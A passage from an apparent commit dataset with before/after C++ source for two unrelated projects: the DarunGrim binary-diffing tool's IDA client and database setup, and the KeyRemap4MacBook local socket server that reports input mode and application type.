ParamStorageFilename;\r\n\r\n\tprintf(\"TheSourceFilename=%s\\nTheTargetFilename=%s\\nStorageFilename=%s\\n\",\r\n\t\tTheSourceFilename,TheTargetFilename,StorageFilename);\r\n\r\n\tpIDAClientManager->SetOutputFilename(StorageFilename);\r\n\tpIDAClientManager->SetLogFilename(LogFilename);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheSourceFilename,StartAddressForSource,EndAddressForSource);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheTargetFilename,StartAddressForTarget,EndAddressForTarget);\r\n\treturn OpenDatabase();\r\n}\r\n\r\nbool DarunGrim::AcceptIDAClientsFromSocket()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpIDAClientManager->SetDatabase( pStorageDB );\r\n\t}\r\n\tpIDAClientManager->StartIDAListener( DARUNGRIM2_PORT );\r\n\r\n\tpOneIDAClientManagerTheSource=new OneIDAClientManager( pStorageDB );\r\n\tpOneIDAClientManagerTheTarget=new OneIDAClientManager( pStorageDB );\r\n\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheSource, pStorageDB? TRUE:FALSE );\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheTarget, pStorageDB? TRUE:FALSE );\r\n\r\n\tDiffMachine *pDiffMachine = NULL;\r\n\tpIDAClientManager->SetMembers( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget, pDiffMachine );\r\n\tpIDAClientManager->CreateIDACommandProcessorThread();\r\n\tpIDAClientManager->StopIDAListener();\r\n\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::OpenDatabase()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t\tdelete pStorageDB;\r\n\r\n\tpStorageDB = new DBWrapper( StorageFilename );\r\n\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_START_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_END_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_FILE_INFO_TABLE_STATEMENT);\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::Analyze()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tint TheSourceFileID=1;\r\n\tint TheTargetFileID=2;\r\n\r\n\tif( pOneIDAClientManagerTheSource && pOneIDAClientManagerTheTarget )\r\n\t{\r\n\t\tpDiffMachine=new DiffMachine( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget );\r\n\t}\r\n\telse\r\n\t{\r\n\t\tpDiffMachine=new DiffMachine();\r\n\t\tpDiffMachine->Retrieve( *pStorageDB,TRUE,TheSourceFileID,TheTargetFileID);\r\n\t}\r\n\r\n\tpDiffMachine->Analyze();\r\n\tpDiffMachine->Save( *pStorageDB );\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::ShowOnIDA()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\t\/\/pDiffMachine->PrintMatchMapInfo();\r\n\tif( pIDAClientManager )\r\n\t{\r\n\t\tpIDAClientManager->SetMembers(\r\n\t\t\tpOneIDAClientManagerTheSource,\r\n\t\t\tpOneIDAClientManagerTheTarget,\r\n\t\t\tpDiffMachine\r\n\t\t);\r\n\t\tpIDAClientManager->ShowResultsOnIDA();\r\n\t\tpIDAClientManager->IDACommandProcessor();\r\n\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}\r\n<commit_msg>Use object pDiffMachine variable in AcceptIDAClientsFromSocket<commit_after>#include \"Common.h\"\r\n#include \"DarunGrim.h\"\r\n#include \"LogOperation.h\"\r\n\r\nLogOperation Logger;\r\n\r\nDarunGrim::DarunGrim(): \r\n\tpStorageDB(NULL),\r\n\tpOneIDAClientManagerTheSource(NULL),\r\n\tpOneIDAClientManagerTheTarget(NULL),\r\n\tpDiffMachine(NULL),\r\n\tpIDAClientManager(NULL)\r\n{\r\n\tLogger.SetLogOutputType( LogToStdout );\r\n\tLogger.SetDebugLevel( 0 );\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tpIDAClientManager = new IDAClientManager();\r\n}\r\n\r\nDarunGrim::~DarunGrim()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpStorageDB->CloseDatabase();\r\n\t\tdelete pStorageDB;\r\n\t}\r\n\r\n\tif( pDiffMachine )\r\n\t\tdelete pDiffMachine;\r\n\r\n\tif( pIDAClientManager )\r\n\t\tdelete pIDAClientManager;\r\n}\r\n\r\nvoid DarunGrim::SetLogParameters( int ParamLogOutputType, int ParamDebugLevel, const char *LogFile )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tLogger.SetLogOutputType( ParamLogOutputType );\r\n\tif( LogFile )\r\n\t\tLogger.SetLogFilename( LogFile );\r\n\tLogger.SetDebugLevel( ParamDebugLevel );\r\n}\r\n\r\nvoid DarunGrim::SetIDAPath( const char *path )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( path )\r\n\t\tpIDAClientManager->SetIDAPath( path );\r\n}\r\n\r\nbool DarunGrim::GenerateDB( \r\n\tchar *ParamStorageFilename, \r\n\tchar *LogFilename, \r\n\tchar *TheSourceFilename, DWORD StartAddressForSource, DWORD EndAddressForSource, \r\n\tchar *TheTargetFilename, DWORD StartAddressForTarget, DWORD EndAddressForTarget )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tStorageFilename = ParamStorageFilename;\r\n\r\n\tprintf(\"TheSourceFilename=%s\\nTheTargetFilename=%s\\nStorageFilename=%s\\n\",\r\n\t\tTheSourceFilename,TheTargetFilename,StorageFilename);\r\n\r\n\tpIDAClientManager->SetOutputFilename(StorageFilename);\r\n\tpIDAClientManager->SetLogFilename(LogFilename);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheSourceFilename,StartAddressForSource,EndAddressForSource);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheTargetFilename,StartAddressForTarget,EndAddressForTarget);\r\n\treturn OpenDatabase();\r\n}\r\n\r\nbool DarunGrim::AcceptIDAClientsFromSocket()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpIDAClientManager->SetDatabase( pStorageDB );\r\n\t}\r\n\tpIDAClientManager->StartIDAListener( DARUNGRIM2_PORT );\r\n\r\n\tpOneIDAClientManagerTheSource=new OneIDAClientManager( pStorageDB );\r\n\tpOneIDAClientManagerTheTarget=new OneIDAClientManager( pStorageDB );\r\n\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheSource, pStorageDB? TRUE:FALSE );\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheTarget, pStorageDB? TRUE:FALSE );\r\n\r\n\tpIDAClientManager->SetMembers( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget, pDiffMachine );\r\n\tpIDAClientManager->CreateIDACommandProcessorThread();\r\n\tpIDAClientManager->StopIDAListener();\r\n\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::OpenDatabase()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t\tdelete pStorageDB;\r\n\r\n\tpStorageDB = new DBWrapper( StorageFilename );\r\n\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_START_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_END_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_FILE_INFO_TABLE_STATEMENT);\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::Analyze()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tint TheSourceFileID=1;\r\n\tint TheTargetFileID=2;\r\n\r\n\tif( pOneIDAClientManagerTheSource && pOneIDAClientManagerTheTarget )\r\n\t{\r\n\t\tpDiffMachine=new DiffMachine( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget );\r\n\t}\r\n\telse\r\n\t{\r\n\t\tpDiffMachine=new DiffMachine();\r\n\t\tpDiffMachine->Retrieve( *pStorageDB,TRUE,TheSourceFileID,TheTargetFileID);\r\n\t}\r\n\r\n\tpDiffMachine->Analyze();\r\n\tpDiffMachine->Save( *pStorageDB );\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::ShowOnIDA()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\t\/\/pDiffMachine->PrintMatchMapInfo();\r\n\tif( pIDAClientManager )\r\n\t{\r\n\t\tpIDAClientManager->SetMembers(\r\n\t\t\tpOneIDAClientManagerTheSource,\r\n\t\t\tpOneIDAClientManagerTheTarget,\r\n\t\t\tpDiffMachine\r\n\t\t);\r\n\t\tpIDAClientManager->ShowResultsOnIDA();\r\n\t\tpIDAClientManager->IDACommandProcessor();\r\n\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <string.h>\n#include <sys\/select.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <sys\/uio.h>\n#include <sys\/un.h>\n#include <unistd.h>\n#include <Carbon\/Carbon.h>\n\n#include \"server.hpp\"\n#include \"server_objc_part.h\"\n#include \"Mutex.hpp\"\n\nnamespace {\n org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::ApplicationType currentApplicationType = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::UNKNOWN;\n Mutex mutex_currentApplicationType;\n}\n\nbool\nKeyRemap4MacBook_server::Server::initialize(const char* basedirectory)\n{\n if (! basedirectory) return false;\n if (*basedirectory == '\\0') return false;\n\n socketpath_ = std::string(basedirectory) + \"\/KeyRemap4MacBook_server\";\n return makeSocket();\n}\n\nvoid\nKeyRemap4MacBook_server::Server::sendReply(int sock, void* data, size_t size, int error)\n{\n struct iovec iov[2];\n iov[0].iov_base = reinterpret_cast<caddr_t>(&error);\n iov[0].iov_len = sizeof(error);\n if (size > 0) {\n iov[1].iov_base = reinterpret_cast<caddr_t>(data);\n iov[1].iov_len = size;\n }\n\n struct msghdr msg;\n memset(&msg, 0, sizeof(msg));\n msg.msg_iov = iov;\n if (size > 0) {\n msg.msg_iovlen = 2;\n } else {\n msg.msg_iovlen = 1;\n }\n\n sendmsg(sock, &msg, 0);\n}\n\nvoid\nKeyRemap4MacBook_server::Server::dispatchOperator(int sock)\n{\n int operation;\n if (read(sock, &operation, sizeof(operation)) < 0) goto error;\n\n switch (operation) {\n case org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::REQUEST_GET_WORKSPACE_DATA:\n {\n org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::Reply reply;\n org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::Error error = do_GetWorkspaceData(reply);\n sendReply(sock, &reply, sizeof(reply), error);\n break;\n }\n default:\n goto error;\n }\n\n return;\n\nerror:\n sendReply(sock, NULL, 0, org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::ERROR);\n}\n\nvoid\nKeyRemap4MacBook_server::Server::doLoop(void)\n{\n if (listenSocket_ == -1) return;\n\n int error = listen(listenSocket_, 128);\n if (error) return;\n\n for (;;) {\n fd_set readfds;\n FD_ZERO(&readfds);\n FD_SET(listenSocket_, &readfds);\n\n int nfds = listenSocket_ + 1;\n struct timeval timeout;\n timeout.tv_sec = 1;\n timeout.tv_usec = 0;\n if (select(nfds, &readfds, NULL, NULL, &timeout) == -1) {\n return;\n }\n\n if (FD_ISSET(listenSocket_, &readfds)) {\n struct sockaddr_un addr;\n socklen_t addrlen;\n\n int s = accept(listenSocket_, reinterpret_cast<struct sockaddr*>(&addr), &addrlen);\n if (s < 0) {\n return;\n }\n dispatchOperator(s);\n close(s);\n }\n }\n}\n\n\/\/ --------------------------------------------------\nbool\nKeyRemap4MacBook_server::Server::makeSocket(void)\n{\n listenSocket_ = socket(PF_LOCAL, SOCK_STREAM, 0);\n if (listenSocket_ < 0) return false;\n\n struct sockaddr_un listenSocketAddr;\n memset(&listenSocketAddr, 0, sizeof(listenSocketAddr));\n listenSocketAddr.sun_len = sizeof(listenSocketAddr);\n listenSocketAddr.sun_family = AF_UNIX;\n snprintf(listenSocketAddr.sun_path, sizeof(listenSocketAddr.sun_path), \"%s\", socketpath_.c_str());\n\n if (bind(listenSocket_, reinterpret_cast<struct sockaddr*>(&listenSocketAddr), sizeof(listenSocketAddr)) < 0) return false;\n\n return true;\n}\n\n\/\/ --------------------------------------------------\norg_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::Error\nKeyRemap4MacBook_server::Server::do_GetWorkspaceData(org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::Reply& reply)\n{\n char inputmodeName[128];\n autoreleasepool_begin();\n getTISPropertyInputModeID(inputmodeName, sizeof(inputmodeName));\n autoreleasepool_end();\n\n {\n Mutex::ScopedLock lk(mutex_currentApplicationType);\n reply.type = currentApplicationType;\n }\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_ROMAN;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_ROMAN;\n\n \/\/ ----------------------------------------------------------------------\n \/\/ inputmode\n \/\/ get data from util\/DumpInputModeToConsole\/dump-from-plist.sh\n const char* tis_japanese_hiragana = \"com.apple.inputmethod.Japanese.Hiragana\";\n const char* tis_japanese_katakana = \"com.apple.inputmethod.Japanese.Katakana\";\n const char* tis_japanese = \"com.apple.inputmethod.Japanese\";\n const char* tis_tradchinese = \"com.apple.inputmethod.TCIM\"; \/\/ TradChinese\n const char* tis_simpchinese = \"com.apple.inputmethod.SCIM\"; \/\/ SimpChinese\n const char* tis_korean = \"com.apple.inputmethod.Korean\";\n\n if (strcmp(inputmodeName, tis_japanese_hiragana) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_JAPANESE;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_JAPANESE_HIRAGANA;\n\n } else if (strcmp(inputmodeName, tis_japanese_katakana) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_JAPANESE;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_JAPANESE_KATAKANA;\n\n } else if (strncmp(inputmodeName, tis_japanese, strlen(tis_japanese)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_JAPANESE;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_JAPANESE;\n\n } else if (strncmp(inputmodeName, tis_tradchinese, strlen(tis_tradchinese)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_CHINESE_TRADITIONAL;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_CHINESE_TRADITIONAL;\n\n } else if (strncmp(inputmodeName, tis_simpchinese, strlen(tis_simpchinese)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_CHINESE_SIMPLIFIED;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_CHINESE_SIMPLIFIED;\n\n } else if (strncmp(inputmodeName, tis_korean, strlen(tis_korean)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_KOREAN;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_KOREAN;\n\n }\n\n \/\/ ----------------------------------------------------------------------\n return org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::SUCCESS;\n}\n\nvoid\nsetCurrentApplicationType(const char* applicationName)\n{\n Mutex::ScopedLock lk(mutex_currentApplicationType);\n\n \/\/ we ignore the program for our investigation.\n if (strcmp(applicationName, \"org.pqrs.KeyDump\") == 0) {\n \/\/ use previous value. (not set \"currentApplicationType\")\n return;\n }\n\n#define SET_CURRENT_APPLICATION_TYPE(type) { \\\n currentApplicationType = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::type; \\\n return; \\\n}\n\n if (strcmp(applicationName, \"org.gnu.Emacs\") == 0 ||\n strcmp(applicationName, \"org.gnu.AquamacsEmacs\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(EMACS);\n }\n\n const char* org_vim = \"org.vim.\";\n if (strncmp(applicationName, org_vim, strlen(org_vim)) == 0) {\n SET_CURRENT_APPLICATION_TYPE(VI);\n }\n\n if (strcmp(applicationName, \"com.apple.Terminal\") == 0 ||\n strcmp(applicationName, \"iTerm\") == 0 ||\n strcmp(applicationName, \"net.sourceforge.iTerm\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(TERMINAL);\n }\n\n if (strcmp(applicationName, \"com.vmware.fusion\") == 0 ||\n strcmp(applicationName, \"com.parallels.desktop\") == 0 ||\n strcmp(applicationName, \"org.virtualbox.app.VirtualBoxVM\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(VIRTUALMACHINE);\n }\n\n if (strcmp(applicationName, \"com.microsoft.rdc\") == 0 ||\n strcmp(applicationName, \"net.sf.cord\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(REMOTEDESKTOPCONNECTION);\n }\n\n if (strcmp(applicationName, \"org.x.X11\") == 0 ||\n strcmp(applicationName, \"com.apple.x11\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(X11);\n }\n\n if (strcmp(applicationName, \"com.apple.finder\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(FINDER);\n }\n\n if (strcmp(applicationName, \"com.apple.Safari\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(SAFARI);\n }\n\n if (strcmp(applicationName, \"org.mozilla.firefox\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(FIREFOX);\n }\n\n if (strcmp(applicationName, \"org.mozilla.thunderbird\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(THUNDERBIRD);\n }\n\n if (strcmp(applicationName, \"com.apple.iChat\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ICHAT);\n }\n\n if (strcmp(applicationName, \"com.adiumX.adiumX\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ADIUMX);\n }\n\n if (strcmp(applicationName, \"com.skype.skype\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(SKYPE);\n }\n\n if (strcmp(applicationName, \"com.apple.mail\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(MAIL);\n }\n\n if (strcmp(applicationName, \"com.apple.TextEdit\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(EDITOR);\n }\n\n const char* com_adobe = \"com.adobe.\";\n if (strncmp(applicationName, com_adobe, strlen(com_adobe)) == 0) {\n SET_CURRENT_APPLICATION_TYPE(ADOBE);\n }\n\n if (strcmp(applicationName, \"com.microsoft.Excel\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(EXCEL);\n }\n\n if (strcmp(applicationName, \"com.microsoft.Entourage\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ENTOURAGE);\n }\n\n if (strcmp(applicationName, \"org.eclipse.eclipse\") == 0) {\n SET_CURRENT_APPLICATION_TYPE(ECLIPSE);\n }\n\n SET_CURRENT_APPLICATION_TYPE(UNKNOWN);\n}\n<commit_msg>support VMware Fusion Unity @ server<commit_after>#include <stdio.h>\n#include <string.h>\n#include <sys\/select.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <sys\/uio.h>\n#include <sys\/un.h>\n#include <unistd.h>\n#include <Carbon\/Carbon.h>\n\n#include \"server.hpp\"\n#include \"server_objc_part.h\"\n#include \"Mutex.hpp\"\n\nnamespace {\n org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::ApplicationType currentApplicationType = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::UNKNOWN;\n Mutex mutex_currentApplicationType;\n}\n\nbool\nKeyRemap4MacBook_server::Server::initialize(const char* basedirectory)\n{\n if (! basedirectory) return false;\n if (*basedirectory == '\\0') return false;\n\n socketpath_ = std::string(basedirectory) + \"\/KeyRemap4MacBook_server\";\n return makeSocket();\n}\n\nvoid\nKeyRemap4MacBook_server::Server::sendReply(int sock, void* data, size_t size, int error)\n{\n struct iovec iov[2];\n iov[0].iov_base = reinterpret_cast<caddr_t>(&error);\n iov[0].iov_len = sizeof(error);\n if (size > 0) {\n iov[1].iov_base = reinterpret_cast<caddr_t>(data);\n iov[1].iov_len = size;\n }\n\n struct msghdr msg;\n memset(&msg, 0, sizeof(msg));\n msg.msg_iov = iov;\n if (size > 0) {\n msg.msg_iovlen = 2;\n } else {\n msg.msg_iovlen = 1;\n }\n\n sendmsg(sock, &msg, 0);\n}\n\nvoid\nKeyRemap4MacBook_server::Server::dispatchOperator(int sock)\n{\n int operation;\n if (read(sock, &operation, sizeof(operation)) < 0) goto error;\n\n switch (operation) {\n case org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::REQUEST_GET_WORKSPACE_DATA:\n {\n org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::Reply reply;\n org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::Error error = do_GetWorkspaceData(reply);\n sendReply(sock, &reply, sizeof(reply), error);\n break;\n }\n default:\n goto error;\n }\n\n return;\n\nerror:\n sendReply(sock, NULL, 0, org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::ERROR);\n}\n\nvoid\nKeyRemap4MacBook_server::Server::doLoop(void)\n{\n if (listenSocket_ == -1) return;\n\n int error = listen(listenSocket_, 128);\n if (error) return;\n\n for (;;) {\n fd_set readfds;\n FD_ZERO(&readfds);\n FD_SET(listenSocket_, &readfds);\n\n int nfds = listenSocket_ + 1;\n struct timeval timeout;\n timeout.tv_sec = 1;\n timeout.tv_usec = 0;\n if (select(nfds, &readfds, NULL, NULL, &timeout) == -1) {\n return;\n }\n\n if (FD_ISSET(listenSocket_, &readfds)) {\n struct sockaddr_un addr;\n socklen_t addrlen;\n\n int s = accept(listenSocket_, reinterpret_cast<struct sockaddr*>(&addr), &addrlen);\n if (s < 0) {\n return;\n }\n dispatchOperator(s);\n close(s);\n }\n }\n}\n\n\/\/ --------------------------------------------------\nbool\nKeyRemap4MacBook_server::Server::makeSocket(void)\n{\n listenSocket_ = socket(PF_LOCAL, SOCK_STREAM, 0);\n if (listenSocket_ < 0) return false;\n\n struct sockaddr_un listenSocketAddr;\n memset(&listenSocketAddr, 0, sizeof(listenSocketAddr));\n listenSocketAddr.sun_len = sizeof(listenSocketAddr);\n listenSocketAddr.sun_family = AF_UNIX;\n snprintf(listenSocketAddr.sun_path, sizeof(listenSocketAddr.sun_path), \"%s\", socketpath_.c_str());\n\n if (bind(listenSocket_, reinterpret_cast<struct sockaddr*>(&listenSocketAddr), sizeof(listenSocketAddr)) < 0) return false;\n\n return true;\n}\n\n\/\/ --------------------------------------------------\norg_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::Error\nKeyRemap4MacBook_server::Server::do_GetWorkspaceData(org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::Reply& reply)\n{\n char inputmodeName[128];\n autoreleasepool_begin();\n getTISPropertyInputModeID(inputmodeName, sizeof(inputmodeName));\n autoreleasepool_end();\n\n {\n Mutex::ScopedLock lk(mutex_currentApplicationType);\n reply.type = currentApplicationType;\n }\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_ROMAN;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_ROMAN;\n\n \/\/ ----------------------------------------------------------------------\n \/\/ inputmode\n \/\/ get data from util\/DumpInputModeToConsole\/dump-from-plist.sh\n const char* tis_japanese_hiragana = \"com.apple.inputmethod.Japanese.Hiragana\";\n const char* tis_japanese_katakana = \"com.apple.inputmethod.Japanese.Katakana\";\n const char* tis_japanese = \"com.apple.inputmethod.Japanese\";\n const char* tis_tradchinese = \"com.apple.inputmethod.TCIM\"; \/\/ TradChinese\n const char* tis_simpchinese = \"com.apple.inputmethod.SCIM\"; \/\/ SimpChinese\n const char* tis_korean = \"com.apple.inputmethod.Korean\";\n\n if (strcmp(inputmodeName, tis_japanese_hiragana) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_JAPANESE;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_JAPANESE_HIRAGANA;\n\n } else if (strcmp(inputmodeName, tis_japanese_katakana) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_JAPANESE;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_JAPANESE_KATAKANA;\n\n } else if (strncmp(inputmodeName, tis_japanese, strlen(tis_japanese)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_JAPANESE;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_JAPANESE;\n\n } else if (strncmp(inputmodeName, tis_tradchinese, strlen(tis_tradchinese)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_CHINESE_TRADITIONAL;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_CHINESE_TRADITIONAL;\n\n } else if (strncmp(inputmodeName, tis_simpchinese, strlen(tis_simpchinese)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_CHINESE_SIMPLIFIED;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_CHINESE_SIMPLIFIED;\n\n } else if (strncmp(inputmodeName, tis_korean, strlen(tis_korean)) == 0) {\n reply.inputmode = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_KOREAN;\n reply.inputmodedetail = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::INPUTMODE_DETAIL_KOREAN;\n\n }\n\n \/\/ ----------------------------------------------------------------------\n return org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::SUCCESS;\n}\n\nvoid\nsetCurrentApplicationType(const char* applicationName)\n{\n Mutex::ScopedLock lk(mutex_currentApplicationType);\n\n \/\/ we ignore the program for our investigation.\n if (strcmp(applicationName, \"org.pqrs.KeyDump\") == 0) {\n \/\/ use previous value. (not set \"currentApplicationType\")\n return;\n }\n\n#define SET_CURRENT_APPLICATION_TYPE(type) { \\\n currentApplicationType = org_pqrs_KeyRemap4MacBook::KeyRemap4MacBook_bridge::GetWorkspaceData::type; \\\n return; \\\n}\n\n if 